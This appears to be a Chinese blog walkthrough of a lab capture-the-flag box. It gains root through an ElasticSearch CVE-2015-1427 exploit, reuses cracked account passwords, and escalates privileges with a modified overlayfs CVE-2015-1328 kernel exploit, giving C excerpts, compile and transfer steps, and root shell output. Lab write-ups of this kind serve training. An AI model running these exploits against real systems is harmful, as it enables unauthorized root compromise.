    ▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░                         
    ░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒                     
    ░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░                     
    ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░                     
    ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░                        
    ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░                     
                                                ░                                                                     
    Exploit for ElasticSearch , CVE-2015-1427   Version: 20150309.1                                                    
    {*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
    ~$ id
    [proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:9200  ...  OK
    uid=0(root) gid=0(root) groups=0(root)
    ~$ 
    
    
  • 并且发现了一个passwords文件,查看文件得到一些账号密码使用 md5 进行解密【网络上一般有在线解密MD5的网站】,并将其解码得到密码,其中只有 john:1337hack 可以用于登录

    john:1337hack;
    test:1234test;
    admin:1111pass;
    root:1234pass;
    jane:1234jane
    

攻入真正目标

使用得到的 john:1337hack 登录 192.168.56.102 查看是否有 root 权限发现没有,需要进行提权

john@socnet:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)

探索一下目标上的信息 uname -a 发现其版本 Linux socnet 3.13.0-24-generic 通过 searchsploit 查询相关内核漏洞

john@socnet:~$ uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

可以尝试的内核漏洞

Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege E | linux/local/41995.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37293.txt
Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privile | linux_x86-64/local/33516.c
  • 尝试 linux/local/37292.c 漏洞查看一下,发现其中存在依赖 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so 我们需要去除依赖gcc部分因为目标上没有 gcc

    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    /*
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    */
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
    }
    
  • 在本地编译 gcc -o exp 37292.c 并将 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so 与 编译后的 exp 一起发送到目标,可以使用 ssh 发送或 Python HTTP 服务结合 wget 发送;如果方法不熟悉建议练习后尝试

  • expofs-lib.so 增加可执行权限,将 ofs-lib.so 移动到靶机 \tmp 目录,并执行 ./exp 即可得到 root 权限

    john@socnet:~$ ./exp 
    spawning threads
    mount #1
    mount #2
    child threads done
    /etc/ld.so.preload created
    # id
    uid=0(root) gid=0(root) groups=0(root),1001(john)
    # 
    

如果出现下面错误,是你 kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6 动态库高于靶机的

./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)

解决方法是在靶机中使用 ldd --version 命令确定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然后去相关官网搜索 2.19-0ubuntu6 下载其对应版本的库文件,此靶机适用的版本 http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb 下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6 确认其存在,编译 C 时使用 gcc 参数 -Ldir 指定上面的 libc.so.6 的路径,解决的编译命令: gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6

# ldd --version
ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
posted @ 2022-10-21 22:42  sha0dow  阅读(1287)  评论(0编辑  收藏  举报